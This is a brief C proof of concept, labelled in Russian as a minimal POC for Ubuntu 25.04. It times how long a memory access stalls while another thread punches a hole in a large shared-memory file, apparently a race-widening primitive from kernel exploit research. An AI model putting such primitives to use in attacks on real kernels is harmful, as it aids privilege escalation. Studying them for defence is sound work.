Ubuntu 25.04 (ядро 6.14.11)минимальный POC
What ?#define _GNU_SOURCE
#include <sys/mman.h>
#include <fcntl.h>
#include <stdio.h>
#include <linux/falloc.h>
#include <err.h>
#include <pthread.h>
#define SYSCHK(x) ({ \
typeof(x) __res = (x); \
if (__res == (typeof(x))-1) \
err(1, "SYSCHK(" #x ")"); \
__res; \
})
#define FALLOC_LEN 64 * 1024 * 1024 // Max on Ubuntu 25.04
pthread_barrier_t barrier;
int ffd;
char *fmap;
void hole_punch() {
SYSCHK(ffd = open("/dev/shm/", O_TMPFILE | O_RDWR, 0666));
SYSCHK(fallocate(ffd, 0, 0, FALLOC_LEN));
SYSCHK(fmap = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, ffd, 0));
pthread_barrier_wait(&barrier); // barrier 1
SYSCHK(fallocate(ffd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, 0, FALLOC_LEN));
}
int main(void) {
pthread_barrier_init(&barrier, NULL, 2);
pthread_t hole_punch_thread;
SYSCHK(pthread_create(&hole_punch_thread, NULL, (void*)hole_punch, NULL));
struct timespec start, end;
pthread_barrier_wait(&barrier); // barrier 1
clock_gettime(CLOCK_MONOTONIC, &start);
volatile char dummy = *(char *)fmap; // Simulated kernel access during hole punch
clock_gettime(CLOCK_MONOTONIC, &end);
long long stall_ns = (end.tv_sec - start.tv_sec) * 1000000000LL + (end.tv_nsec - start.tv_nsec);
printf("Stall time: %lld ns\n", stall_ns);
}